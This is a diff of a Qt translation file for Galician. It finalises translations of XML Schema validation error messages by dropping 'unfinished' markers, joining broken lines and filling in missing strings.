+ <translation>Debe aparecer cando menos un elemento %1 como fillo de %2.</translation>
</message>
<message>
<source>Empty particle cannot be derived from non-empty particle.</source>
- <translation type="unfinished">Unha partícula baleira non pode derivarse dunha non baleira.</translation>
+ <translation>Unha partícula baleira non pode derivarse dunha non baleira.</translation>
</message>
<message>
<source>Derived particle is missing element %1.</source>
- <translation type="unfinished">Na partícula derivada falta o elemento %1.</translation>
+ <translation>Na partícula derivada falta o elemento %1.</translation>
</message>
<message>
<source>Derived element %1 is missing value constraint as defined in base particle.</source>
- <translation type="unfinished">No elemento derivado %1 falta a restrición aos valores definida na partícula
-de base.</translation>
+ <translation>No elemento derivado %1 falta a restrición aos valores definida na partícula de base.</translation>
</message>
<message>
<source>Derived element %1 has weaker value constraint than base particle.</source>
- <translation type="unfinished">O elemento derivado %1 ten unha restrición aos valores máis feble do que a
-da súa partícula de base.</translation>
+ <translation>O elemento derivado %1 ten unha restrición aos valores máis feble do que a da súa partícula de base.</translation>
</message>
<message>
<source>Fixed value constraint of element %1 differs from value constraint in base particle.</source>
- <translation type="unfinished">A restrición de valor fixo do elemento %1 é diferente da de valor da
-partícula base.</translation>
+ <translation>A restrición de valor fixo do elemento %1 é diferente da de valor da partícula base.</translation>
</message>
<message>
<source>Derived element %1 cannot be nillable as base element is not nillable.</source>
- <translation type="unfinished">O elemento derivado %1 non se pode anular porque o elemento de base non se
-pode anular.</translation>
+ <translation>O elemento derivado %1 non se pode anular porque o elemento de base non se pode anular.</translation>
</message>
<message>
<source>Block constraints of derived element %1 must not be more weaker than in the base element.</source>
- <translation type="unfinished">O bloque de restricións do elemento derivado %1 non pode ser máis feble do
-que son as do elemento de base.</translation>
+ <translation>O bloque de restricións do elemento derivado %1 non pode ser máis feble do que son as do elemento de base.</translation>
</message>
<message>
<source>Simple type of derived element %1 cannot be validly derived from base element.</source>
- <translation type="unfinished">O tipo simple do elemento derivado %1 non se pode derivar con validez a
-partir do elemento de base.</translation>
+ <translation>O tipo simple do elemento derivado %1 non se pode derivar con validez a partir do elemento de base.</translation>
</message>
<message>
<source>Complex type of derived element %1 cannot be validly derived from base element.</source>
- <translation type="unfinished">O tipo complexo do elemento derivado %1 non se pode derivar con validez a
-partir do elemento de base.</translation>
+ <translation>O tipo complexo do elemento derivado %1 non se pode derivar con validez a partir do elemento de base.</translation>
</message>
<message>
<source>Element %1 is missing in derived particle.</source>
- <translation type="unfinished">Falta o elemento %1 na partícula derivada.</translation>
+ <translation>Falta o elemento %1 na partícula derivada.</translation>
</message>
<message>
<source>Element %1 does not match namespace constraint of wildcard in base particle.</source>
- <translation type="unfinished">O elemento %1 non casa coa restrición do espazo de nomes de comodín na
-partícula de base.</translation>
+ <translation>O elemento %1 non casa coa restrición do espazo de nomes de comodín na partícula de base.</translation>
</message>
<message>
<source>Wildcard in derived particle is not a valid subset of wildcard in base particle.</source>
- <translation type="unfinished">O comodín da partícula derivada non é un subconxunto válido do da partícula
-de base.</translation>
+ <translation>O carácter de substitución da partícula derivada non é un subconxunto válido do da partícula de base.</translation>
</message>
<message>
<source>processContent of wildcard in derived particle is weaker than wildcard in base particle.</source>
- <translation type="unfinished">O processContent do comodín na partícula derivada é máis feble que o do
-comodín na partícula de base.</translation>
+ <translation>O processContent do comodín na partícula derivada é máis feble que o do comodín na partícula de base.</translation>
</message>
<message>
<source>Derived particle allows content that is not allowed in the base particle.</source>
- <translation type="unfinished">A partícula derivada permite contido non permitido na partícula de base.</translation>
+ <translation>A partícula derivada permite contido non permitido na partícula de base.</translation>
</message>
<message>
<source>%1 has inheritance loop in its base type %2.</source>
- <translation type="unfinished">%1 ten un bucle de herdanza no seu tipo base %2.</translation>
+ <translation>%1 ten un bucle de herdanza no seu tipo base %2.</translation>
</message>
<message>
<source>Circular inheritance of base type %1.</source>
- <translation type="unfinished">Herdanza circular do tipo de base %1.</translation>
+ <translation>Herdanza circular do tipo de base %1.</translation>
</message>
<message>
<source>Circular inheritance of union %1.</source>
- <translation type="unfinished">Herdanza circular da unión %1.</translation>
+ <translation>Herdanza circular da unión %1.</translation>
</message>
<message>
<source>%1 is not allowed to derive from %2 by restriction as the latter defines it as final.</source>
- <translation type="unfinished">Non se permite que %1 derive de %2 debido a unha restrición xa que o este
-defíneo como final.</translation>
+ <translation>Non se permite que %1 derive de %2 debido a unha restrición xa que o este defíneo como final.</translation>
</message>
<message>
<source>%1 is not allowed to derive from %2 by extension as the latter defines it as final.</source>
- <translation type="unfinished">Non se permite que %1 derive de %2 por extensión debido a unha restrición xa
-que o este defíneo como final.</translation>
+ <translation>Non se permite que %1 derive de %2 por extensión debido a unha restrición xa que o este defíneo como final.</translation>
</message>
<message>
<source>Base type of simple type %1 cannot be complex type %2.</source>
- <translation type="unfinished">O tipo base do tipo simple %1 non pode ser do tipo complexo %2.</translation>
+ <translation>O tipo base do tipo simple %1 non pode ser do tipo complexo %2.</translation>
</message>
<message>
<source>Simple type %1 cannot have direct base type %2.</source>
- <translation type="unfinished">O tipo simple %1 non pode ter unha base directa do tipo %2.</translation>
+ <translation>O tipo simple %1 non pode ter unha base directa do tipo %2.</translation>
</message>
<message>
<source>Simple type %1 is not allowed to have base type %2.</source>
- <translation type="unfinished">Ao tipo simple %1 non se lle permite ter unha base do tipo %2.</translation>
+ <translation>Ao tipo simple %1 non se lle permite ter unha base do tipo %2.</translation>
</message>
<message>
<source>Simple type %1 can only have simple atomic type as base type.</source>
- <translation type="unfinished">O tipo simple %1 só pode ter un tipo atómico simple como tipo de base.</translation>
+ <translation>O tipo simple %1 só pode ter un tipo atómico simple como tipo de base.</translation>
</message>
<message>
<source>Simple type %1 cannot derive from %2 as the latter defines restriction as final.</source>
- <translation type="unfinished">O tipo simple %1 non pode derivar do %2 xa que este define a restrición como
-final.</translation>
+ <translation>O tipo simple %1 non pode derivar do %2 xa que este define a restrición como final.</translation>
</message>
<message>
<source>Variety of item type of %1 must be either atomic or union.</source>
- <translation type="unfinished">A variedade do tipo de elemento de %1 debe ser ou ou atómico ou unión.</translation>
+ <translation>A variedade do tipo de elemento de %1 debe ser ou ou atómico ou unión.</translation>
</message>
<message>
<source>Variety of member types of %1 must be atomic.</source>
- <translation type="unfinished">A variedade dos tipos membro de %1 debe sen atómica.</translation>
+ <translation>A variedade dos tipos membro de %1 debe sen atómica.</translation>
</message>
<message>
<source>%1 is not allowed to derive from %2 by list as the latter defines it as final.</source>
- <translation type="unfinished">Non se permite que %1 derive de %2 por lista xa que esta defínea como final.</translation>
+ <translation>Non se permite que %1 derive de %2 por lista xa que esta defínea como final.</translation>
</message>
<message>
<source>Simple type %1 is only allowed to have %2 facet.</source>
- <translation type="unfinished">Só se permite que o tipo simple %1 teña a faceta %2.</translation>
+ <translation>Só se permite que o tipo simple %1 teña a faceta %2.</translation>
</message>
<message>
<source>Base type of simple type %1 must have variety of type list.</source>
- <translation type="unfinished">O tipo base do tipo simple %1 debe ser variedade do tipo lista.</translation>
+ <translation>O tipo base do tipo simple %1 debe ser variedade do tipo lista.</translation>
</message>
<message>
<source>Base type of simple type %1 has defined derivation by restriction as final.</source>
- <translation type="unfinished">O tipo base do tipo simple %1 definiu a derivación por restrición como final.</translation>
+ <translation>O tipo base do tipo simple %1 definiu a derivación por restrición como final.</translation>
</message>
<message>
<source>Item type of base type does not match item type of %1.</source>
- <translation type="unfinished">O tipo de elemento do tipo de base non casa co tipo de elemento de %1.</translation>
+ <translation>O tipo de elemento do tipo de base non casa co tipo de elemento de %1.</translation>
</message>
<message>
<source>Simple type %1 contains not allowed facet type %2.</source>
- <translation type="unfinished">O tipo simple %1 contén unha faceta non permitida do tipo %2.</translation>
+ <translation>O tipo simple %1 contén unha faceta non permitida do tipo %2.</translation>
</message>
<message>
<source>%1 is not allowed to derive from %2 by union as the latter defines it as final.</source>
- <translation type="unfinished">Non se permite que %1 derive de %2 por unión xa que este defínea como final.</translation>
+ <translation>Non se permite que %1 derive de %2 por unión xa que este defínea como final.</translation>
</message>
<message>
<source>%1 is not allowed to have any facets.</source>
- <translation type="unfinished">%1 non pode ter ningunha faceta.</translation>
+ <translation>%1 non pode ter ningunha faceta.</translation>
</message>
<message>
<source>Base type %1 of simple type %2 must have variety of union.</source>
- <translation type="unfinished">O tipo de base %1 do tipo simple %2 debe ser unha variedade de unión.</translation>
+ <translation>O tipo de base %1 do tipo simple %2 debe ser unha variedade de unión.</translation>
</message>
<message>
<source>Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.</source>
- <translation type="unfinished">Non se permite que o tipo base %1 do tipo simple %2 teña restrición no
-atributo %3.</translation>
+ <translation>Non se permite que o tipo base %1 do tipo simple %2 teña restrición no atributo %3.</translation>
</message>
<message>
<source>Member type %1 cannot be derived from member type %2 of %3&apos;s base type %4.</source>
- <translation type="unfinished">O tipo membro %1 non se pode derivar do tipo membro %2 do tipo base %4 de %3.</translation>
+ <translation>O tipo membro %1 non se pode derivar do tipo membro %2 do tipo base %4 de %3.</translation>
</message>
<message>
<source>Derivation method of %1 must be extension because the base type %2 is a simple type.</source>
- <translation type="unfinished">O método de derivación de %1 debe ser por extensión porque o tipo base %2 é
-un tipo simple.</translation>
+ <translation>O método de derivación de %1 debe ser por extensión porque o tipo base %2 é un tipo simple.</translation>
</message>
<message>
<source>Complex type %1 has duplicated element %2 in its content model.</source>
- <translation type="unfinished">O tipo complexo %1 contén por duplicado o elemento %2 no seu modelo de
-contido.</translation>
+ <translation>O tipo complexo %1 contén por duplicado o elemento %2 no seu modelo de contido.</translation>
</message>
<message>
<source>Complex type %1 has non-deterministic content.</source>
- <translation type="unfinished">O tipo complexo %1 ten contido non determinista.</translation>
+ <translation>O tipo complexo %1 ten contido non determinista.</translation>
</message>
<message>
<source>Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.</source>
- <translation type="unfinished">Os atributos do tipo complexo %1 non son unha extensión válida dos atributos
-do tipo base %2: %3.</translation>
+ <translation>Os atributos do tipo complexo %1 non son unha extensión válida dos atributos do tipo base %2: %3.</translation>
</message>
<message>
<source>Content model of complex type %1 is not a valid extension of content model of %2.</source>
- <translation type="unfinished">O modelo de contido do tipo complexo %1 non é unha extensión válida do
-modelo de contido de %2.</translation>
+ <translation>O modelo de contido do tipo complexo %1 non é unha extensión válida do modelo de contido de %2.</translation>
</message>
<message>
<source>Complex type %1 must have simple content.</source>
- <translation type="unfinished">O tipo complexo %1 debe ter contido simple.</translation>
+ <translation>O tipo complexo %1 debe ter contido simple.</translation>
</message>
<message>
<source>Complex type %1 must have the same simple type as its base class %2.</source>
- <translation type="unfinished">O tipo complexo %1 debe ter o mesmo tipo simple que a súa clase de base %2.</translation>
+ <translation>O tipo complexo %1 debe ter o mesmo tipo simple que a súa clase de base %2.</translation>
</message>
<message>
<source>Complex type %1 cannot be derived from base type %2%3.</source>
- <translation type="unfinished">O tipo complexo %1 non pode derivarse do tipo de base %2%3.</translation>
+ <translation>O tipo complexo %1 non pode derivarse do tipo de base %2%3.</translation>
</message>
<message>
<source>Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.</source>
- <translation type="unfinished">Os atributos do tipo complexo %1 non son unha restrición válida baseada nos
-atributos do tipo base %2: %3.</translation>
+ <translation>Os atributos do tipo complexo %1 non son unha restrición válida baseada nos atributos do tipo base %2: %3.</translation>
</message>
<message>
<source>Complex type %1 with simple content cannot be derived from complex base type %2.</source>
- <translation type="unfinished">O tipo complexo %1 con contido simple non se pode derivar do tipo de base
-complexo %2.</translation>
+ <translation>O tipo complexo %1 con contido simple non se pode derivar do tipo de base complexo %2.</translation>
</message>
<message>
<source>Item type of simple type %1 cannot be a complex type.</source>
- <translation type="unfinished">O tipo de elemento do tipo simple %1 non pode ser un tipo complexo.</translation>
+ <translation>O tipo de elemento do tipo simple %1 non pode ser un tipo complexo.</translation>
</message>
<message>
<source>Member type of simple type %1 cannot be a complex type.</source>
- <translation type="unfinished">O tipo membro do tipo simple %1 non pode ser un tipo complexo.</translation>
+ <translation>O tipo membro do tipo simple %1 non pode ser un tipo complexo.</translation>
</message>
<message>
<source>%1 is not allowed to have a member type with the same name as itself.</source>
- <translation type="unfinished">Non se permite que %1 teña un tipo membro co mesmo nome ca el.</translation>
+ <translation>Non se permite que %1 teña un tipo membro co mesmo nome ca el.</translation>
</message>
<message>
<source>%1 facet collides with %2 facet.</source>
- <translation type="unfinished">A faceta %1 entra en conflito doa %2.</translation>
+ <translation>A faceta %1 entra en conflito doa %2.</translation>
</message>
<message>
<source>%1 facet must have the same value as %2 facet of base type.</source>
- <translation type="unfinished">A faceta %1 debe ter o mesmo valor que a %2 do tipo de base.</translation>
+ <translation>A faceta %1 debe ter o mesmo valor que a %2 do tipo de base.</translation>
</message>
<message>
<source>%1 facet must be equal or greater than %2 facet of base type.</source>
- <translation type="unfinished">A faceta %1 debe ser maior ou igual que a %2 do tipo de base.</translation>
+ <translation>A faceta %1 debe ser maior ou igual que a %2 do tipo de base.</translation>
</message>
<message>
<source>%1 facet must be less than or equal to %2 facet of base type.</source>
- <translation type="unfinished">A faceta %1 debe ser menor que ou igual que a %2 do tipo de base.</translation>
+ <translation>A faceta %1 debe ser menor que ou igual que a %2 do tipo de base.</translation>
</message>
<message>
<source>%1 facet contains invalid regular expression</source>
- <translation type="unfinished">A faceta %1 contén unha expresión regular non válida</translation>
+ <translation>A faceta %1 contén unha expresión regular non válida</translation>
</message>
<message>
<source>Unknown notation %1 used in %2 facet.</source>
- <translation type="unfinished">Empregouse a notación non válida %1 na faceta %2.</translation>
+ <translation>Empregouse a notación non válida %1 na faceta %2.</translation>
</message>
<message>
<source>%1 facet contains invalid value %2: %3.</source>
- <translation type="unfinished">A faceta %1 contén o valor non válido %2: %3.</translation>
+ <translation>A faceta %1 contén o valor non válido %2: %3.</translation>
</message>
<message>
<source>%1 facet cannot be %2 or %3 if %4 facet of base type is %5.</source>
- <translation type="unfinished">A faceta %1 non pode ser %2 nin %3 se a faceta %4 do tipo de base é %5.</translation>
+ <translation>A faceta %1 non pode ser %2 nin %3 se a faceta %4 do tipo de base é %5.</translation>
</message>
<message>
<source>%1 facet cannot be %2 if %3 facet of base type is %4.</source>
- <translation type="unfinished">A faceta %1 non pode ser %2 se a faceta %3 do tipo de base é %4.</translation>
+ <translation>A faceta %1 non pode ser %2 se a faceta %3 do tipo de base é %4.</translation>
</message>
<message>
<source>%1 facet must be less than or equal to %2 facet.</source>
- <translation type="unfinished">A faceta %1 debe ser menor que ou igual que a %2.</translation>
+ <translation>A faceta %1 debe ser menor que ou igual que a %2.</translation>
</message>
<message>
<source>%1 facet must be less than %2 facet of base type.</source>
- <translation type="unfinished">A faceta %1 debe ser menor que a faceta %2 do tipo de base.</translation>
+ <translation>A faceta %1 debe ser menor que a faceta %2 do tipo de base.</translation>
</message>
<message>
<source>%1 facet and %2 facet cannot appear together.</source>
- <translation type="unfinished">As facetas %1 e %2 non poden aparecer xuntas.</translation>
+ <translation>As facetas %1 e %2 non poden aparecer xuntas.</translation>
</message>
<message>
<source>%1 facet must be greater than %2 facet of base type.</source>
- <translation type="unfinished">A faceta %1 debe ser maior que a faceta %2 do tipo de base.</translation>
+ <translation>A faceta %1 debe ser maior que a faceta %2 do tipo de base.</translation>
</message>
<message>
<source>%1 facet must be less than %2 facet.</source>
- <translation type="unfinished">A faceta %1 debe ser menor que a %2.</translation>
+ <translation>A faceta %1 debe ser menor que a %2.</translation>
</message>
<message>
<source>%1 facet must be greater than or equal to %2 facet of base type.</source>
- <translation type="unfinished">A faceta %1 deber ser maior ou igual que a faceta %2 do tipo de base.</translation>
+ <translation>A faceta %1 deber ser maior ou igual que a faceta %2 do tipo de base.</translation>
</message>
<message>
<source>Simple type contains not allowed facet %1.</source>
- <translation type="unfinished">O tipo simple contén a faceta non permitida %1.</translation>
+ <translation>O tipo simple contén a faceta non permitida %1.</translation>
</message>
<message>
<source>%1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.</source>
- <translation type="unfinished">As facetas %1, %2, %3, %4, %5 e %6 non están permitidas cando se deriva por
-lista.</translation>
+ <translation>As facetas %1, %2, %3, %4, %5 e %6 non están permitidas cando se deriva por lista.</translation>
</message>
<message>
<source>Only %1 and %2 facets are allowed when derived by union.</source>
- <translation type="unfinished">Só se permiten as facetas %1 e %2 cando se deriva por unión.</translation>
+ <translation>Só se permiten as facetas %1 e %2 cando se deriva por unión.</translation>
</message>
<message>
<source>%1 contains %2 facet with invalid data: %3.</source>
- <translation type="unfinished">%1 contén a faceta %2 con datos non válidos: %3.</translation>
+ <translation>%1 contén a faceta %2 con datos non válidos: %3.</translation>
</message>
<message>
<source>Attribute group %1 contains attribute %2 twice.</source>
- <translation type="unfinished">O grupo de atributos %1 contén o atributo %2 dúas veces.</translation>
+ <translation>O grupo de atributos %1 contén o atributo %2 dúas veces.</translation>
</message>
<message>
<source>Attribute group %1 contains two different attributes that both have types derived from %2.</source>
- <translation type="unfinished">O grupo de atributos %1 contén dous atributos diferentes con tipos derivados
-de %2</translation>
+ <translation>O grupo de atributos %1 contén dous atributos diferentes con tipos derivados de %2.</translation>
</message>
<message>
<source>Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.</source>
- <translation type="unfinished">O grupo de atributos %1 contén o atributo %2, que ten restrición de valores
-pero un tipo que herda de %3.</translation>
+ <translation>O grupo de atributos %1 contén o atributo %2, que ten restrición de valores pero un tipo que herda de %3.</translation>
</message>
<message>
<source>Complex type %1 contains attribute %2 twice.</source>
- <translation type="unfinished">O tipo complexo %1 contén o atributo %2 dúas veces.</translation>
+ <translation>O tipo complexo %1 contén o atributo %2 dúas veces.</translation>
</message>
<message>
<source>Complex type %1 contains two different attributes that both have types derived from %2.</source>
- <translation type="unfinished">O tipo complexo %1 contén dous atributos diferentes con tipos derivados de %2.</translation>
+ <translation>O tipo complexo %1 contén dous atributos diferentes con tipos derivados de %2.</translation>
</message>
<message>
<source>Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.</source>
- <translation type="unfinished">O tipo complexo %1 contén o atributo %2, que ten restrición de valores pero
-un tipo que herda de %3.</translation>
+ <translation>O tipo complexo %1 contén o atributo %2, que ten restrición de valores pero un tipo que herda de %3.</translation>
</message>
<message>
<source>Element %1 is not allowed to have a value constraint if its base type is complex.</source>
- <translation type="unfinished">O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo
-de base
-é complexo.</translation>
+ <translation>O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo de base é complexo.</translation>
</message>
<message>
<source>Element %1 is not allowed to have a value constraint if its type is derived from %2.</source>
- <translation type="unfinished">O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo
-deriva de %2.</translation>
+ <translation>O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo deriva de %2.</translation>
</message>
<message>
<source>Value constraint of element %1 is not of elements type: %2.</source>
- <translation type="unfinished">A restrición aos valores do elemento %1 non é do tipo elementos: %2.</translation>
+ <translation>A restrición aos valores do elemento %1 non é do tipo elementos: %2.</translation>
</message>
<message>
<source>Element %1 is not allowed to have substitution group affiliation as it is no global element.</source>
- <translation type="unfinished">Non se permite que o elemento %1 teña afiliación a grupo de substitución xa
-que
-non é un elemento global.</translation>
+ <translation>Non se permite que o elemento %1 teña afiliación a grupo de substitución xa que non é un elemento global.</translation>
</message>
<message>
<source>Type of element %1 cannot be derived from type of substitution group affiliation.</source>
- <translation type="unfinished">O tipo do elemento %1 non pode derivarse do tipo de afiliación ao grupo de
-substitución.</translation>
+ <translation>O tipo do elemento %1 non pode derivarse do tipo de afiliación ao grupo de substitución.</translation>
</message>
<message>
<source>Value constraint of attribute %1 is not of attributes type: %2.</source>
- <translation type="unfinished">A restrición aos valores do atributo %1 non é ao tipo do atributo: %2.</translation>
+ <translation>A restrición aos valores do atributo %1 non é ao tipo do atributo: %2.</translation>
</message>
<message>
<source>Attribute %1 has value constraint but has type derived from %2.</source>
- <translation type="unfinished">O atributo %1 ten restrición de valores pero ten tipo derivado de %2.</translation>
+ <translation>O atributo %1 ten restrición de valores pero ten tipo derivado de %2.</translation>
</message>
<message>
<source>%1 attribute in derived complex type must be %2 like in base type.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 no tipo complexo derivado debe ser %2 como no tipo de base.</translation>
</message>
<message>
<source>Attribute %1 in derived complex type must have %2 value constraint like in base type.</source>
- <translation type="unfinished">O atributo %1 do tipo complexo derivado debe ter unha restrición de valores
-%2
-como no tipo de base.</translation>
+ <translation>O atributo %1 do tipo complexo derivado debe ter unha restrición de valores %2 como no tipo de base.</translation>
</message>
<message>
<source>Attribute %1 in derived complex type must have the same %2 value constraint like in base type.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 do tipo complexo derivado debe ter a mesma restrición a valores %2 como no tipo de base.</translation>
</message>
<message>
<source>Attribute %1 in derived complex type must have %2 value constraint.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 no tipo complexo derivado debe ter a restrición a valores %2.</translation>
</message>
<message>
<source>processContent of base wildcard must be weaker than derived wildcard.</source>
- <translation type="unfinished"></translation>
+ <translation>O processContent do comodín de base debe ser máis feble que o do comodín de derivado.</translation>
</message>
<message>
<source>Element %1 exists twice with different types.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento %1 existe dúas veces con tipos diferentes.</translation>
</message>
<message>
<source>Particle contains non-deterministic wildcards.</source>
- <translation type="unfinished"></translation>
+ <translation>A partícula contén caracteres de substitución non deterministas.</translation>
</message>
<message>
<source>Base attribute %1 is required but derived attribute is not.</source>
- <translation type="unfinished"></translation>
+ <translation>Requírese o atributo de base %1 pero non o derivado.</translation>
</message>
<message>
<source>Type of derived attribute %1 cannot be validly derived from type of base attribute.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo do atributo derivado %1 non se pode derivar con validez a partir do tipo do atributo de base.</translation>
</message>
<message>
<source>Value constraint of derived attribute %1 does not match value constraint of base attribute.</source>
- <translation type="unfinished"></translation>
+ <translation>A restrición de valores do atributo derivado %1 non casa coa do atributo de base.</translation>
</message>
<message>
<source>Derived attribute %1 does not exist in the base definition.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo derivado %1 non existe na definición da base.</translation>
</message>
<message>
<source>Derived attribute %1 does not match the wildcard in the base definition.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo derivado %1 non casa co carácter de substitución na definición da base.</translation>
</message>
<message>
<source>Base attribute %1 is required but missing in derived definition.</source>
- <translation type="unfinished"></translation>
+ <translation>Requírese o atributo de base %1 pero falta na definición derivada.</translation>
</message>
<message>
<source>Derived definition contains an %1 element that does not exists in the base definition</source>
- <translation type="unfinished"></translation>
+ <translation>A definición derivada contén un elemento %1 que non existe na definición da base</translation>
</message>
<message>
<source>Derived wildcard is not a subset of the base wildcard.</source>
- <translation type="unfinished"></translation>
+ <translation>O carácter de substitución derivado non é un conxunto do de base.</translation>
</message>
<message>
<source>%1 of derived wildcard is not a valid restriction of %2 of base wildcard</source>
- <translation type="unfinished"></translation>
+ <translation>O %1 do comodín derivado non é unha restrición válido do %2 do comodín base</translation>
</message>
<message>
<source>Attribute %1 from base type is missing in derived type.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 do tipo base falta no tipo derivado.</translation>
</message>
<message>
<source>Type of derived attribute %1 differs from type of base attribute.</source>
- <translation type="unfinished"></translation>
+ <translation>O tipo do atributo derivado %1 é diferente do tipo do atributo base.</translation>
</message>
<message>
<source>Base definition contains an %1 element that is missing in the derived definition</source>
- <translation type="unfinished"></translation>
+ <translation>A definición base contén un elemento %1 que falta na definición derivada</translation>
</message>
<message>
<source>Can not process unknown element %1, expected elements are: %2.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se pode procesar o elemento %1, os elementos agardados son: %2.</translation>
</message>
<message>
<source>Element %1 is not allowed in this scope, possible elements are: %2.</source>
- <translation type="unfinished">Non se permite o elemento %1 neste ámbito, os elementos posíbeis son: %2.</translation>
+ <translation>Non se permite o elemento %1 neste ámbito, os elementos posíbeis son: %2.</translation>
</message>
<message>
<source>Child element is missing in that scope, possible child elements are: %1.</source>
- <translation type="unfinished"></translation>
+ <translation>O elemento fillo falta nese ámbito, os posíbeis son: %1.</translation>
</message>
<message>
<source>Document is not a XML schema.</source>
- <translation type="unfinished"></translation>
+ <translation>O documento non é un esquema XML.</translation>
</message>
<message>
<source>%1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 do elemento %2 ten contido non válido: {%3} non é un valor do tipo %4.</translation>
</message>
<message>
<source>%1 attribute of %2 element contains invalid content: {%3}.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 do elemento %2 ten contido non válido: {%3}.</translation>
</message>
<message>
<source>Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.</source>
- <translation type="unfinished"></translation>
+ <translation>O espazo de nomes de destino %1 do esquema incluído é diferente do %2, que se especificou no esquema incluínte.</translation>
</message>
<message>
<source>Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.</source>
- <translation type="unfinished"></translation>
+ <translation>O espazo de nomes de destino %1 do esquema importado é diferente do %2, que se especificou no esquema importador.</translation>
</message>
<message>
<source>%1 element is not allowed to have the same %2 attribute value as the target namespace %3.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se permite que o elemento %1 teña o mesmo valor do atributo %2 que o espazo de nomes de destino %3.</translation>
</message>
<message>
<source>%1 element without %2 attribute is not allowed inside schema without target namespace.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se permite un elemento %1 sen o atributo %2 dentro dun esquema sen espazo de nomes de destino.</translation>
</message>
<message>
<source>%1 element is not allowed inside %2 element if %3 attribute is present.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se permite o elemento %1 dentro do elemento %2 se está presente o atributo %3.</translation>
</message>
<message>
<source>%1 element has neither %2 attribute nor %3 child element.</source>
- <translation type="unfinished">O elemento %1 non ten nin o atributo %2 nin o elemento fillo %3.</translation>
+ <translation>O elemento %1 non ten nin o atributo %2 nin o elemento fillo %3.</translation>
</message>
<message>
<source>%1 element with %2 child element must not have a %3 attribute.</source>
- <translation type="unfinished"></translation>
+ <translation>Un elemento %1 cun elemento fillo %2 non pode ter un atributo %3.</translation>
</message>
<message>
<source>%1 attribute of %2 element must be %3 or %4.</source>
- <translation type="unfinished">O atributo %1 do elemento %2 debe ser %3 ou %4.</translation>
+ <translation>O atributo %1 do elemento %2 debe ser %3 ou %4.</translation>
</message>
<message>
<source>%1 attribute of %2 element must have a value of %3.</source>
- <translation type="unfinished">O atributo %1 do elemento %2 debe ter un valor de %3.</translation>
+ <translation>O atributo %1 do elemento %2 debe ter un valor de %3.</translation>
</message>
<message>
<source>%1 attribute of %2 element must have a value of %3 or %4.</source>
- <translation type="unfinished">O atributo %1 do elemento %2 debe ter un valor de %3 ou %4.</translation>
+ <translation>O atributo %1 do elemento %2 debe ter un valor de %3 ou %4.</translation>
</message>
<message>
<source>%1 element must not have %2 and %3 attribute together.</source>
- <translation type="unfinished">O elemento %1 non debe ter á vez os atributos %2 e %3.</translation>
+ <translation>O elemento %1 non debe ter á vez os atributos %2 e %3.</translation>
</message>
<message>
<source>Content of %1 attribute of %2 element must not be from namespace %3.</source>
- <translation type="unfinished"></translation>
+ <translation>O contido do atributo %1 do elemento %2 non debe proceder do espazo de nomes %3.</translation>
</message>
<message>
<source>%1 attribute of %2 element must not be %3.</source>
- <translation type="unfinished">O atributo %1 do elemento %2 non debe ser %3.</translation>
+ <translation>O atributo %1 do elemento %2 non debe ser %3.</translation>
</message>
<message>
<source>%1 attribute of %2 element must have the value %3 because the %4 attribute is set.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 do elemento %2 debe ter o mesmo valor %3 porque se indicou o atributo %4.</translation>
</message>
<message>
<source>Specifying use=&apos;prohibited&apos; inside an attribute group has no effect.</source>
- <translation type="unfinished">Indicar use=&apos;prohibited&apos; dentro dun grupo de atributos non ten efecto.</translation>
+ <translation>Indicar use=&apos;prohibited&apos; dentro dun grupo de atributos non ten efecto.</translation>
</message>
<message>
<source>%1 element must have either %2 or %3 attribute.</source>
- <translation type="unfinished">O elemento %1 debe ter o do atributo %2 ou o %3.</translation>
+ <translation>O elemento %1 debe ter o do atributo %2 ou o %3.</translation>
</message>
<message>
<source>%1 element must have either %2 attribute or %3 or %4 as child element.</source>
- <translation type="unfinished">O elemento %1 debe ter ou o atributo %2 ou un elemento fillo %3 ou %4.</translation>
+ <translation>O elemento %1 debe ter ou o atributo %2 ou un elemento fillo %3 ou %4.</translation>
</message>
<message>
<source>%1 element requires either %2 or %3 attribute.</source>
- <translation type="unfinished">O elemento %1 require o atributo %2 ou o %3.</translation>
+ <translation>O elemento %1 require o atributo %2 ou o %3.</translation>
</message>
<message>
<source>Text or entity references not allowed inside %1 element</source>
- <translation type="unfinished">Non se permite referencias nin texto nin a entidades dentro dun elemento %1</translation>
+ <translation>Non se permite referencias nin texto nin a entidades dentro dun elemento %1</translation>
</message>
<message>
<source>%1 attribute of %2 element must contain %3, %4 or a list of URIs.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 do elemento %2 debe conter %3, %4 ou unha listaxe de URI.</translation>
</message>
<message>
<source>%1 element is not allowed in this context.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se permite o elemento %1 neste contexto.</translation>
</message>
<message>
<source>%1 attribute of %2 element has larger value than %3 attribute.</source>
- <translation type="unfinished"></translation>
+ <translation>O atributo %1 do elemento %2 ten un valor maior do que o atributo %3.</translation>
</message>
<message>
<source>Prefix of qualified name %1 is not defined.</source>
- <translation type="unfinished"></translation>
+ <translation>Non se definiu o prefixo do nome cualificado %1.</translation>
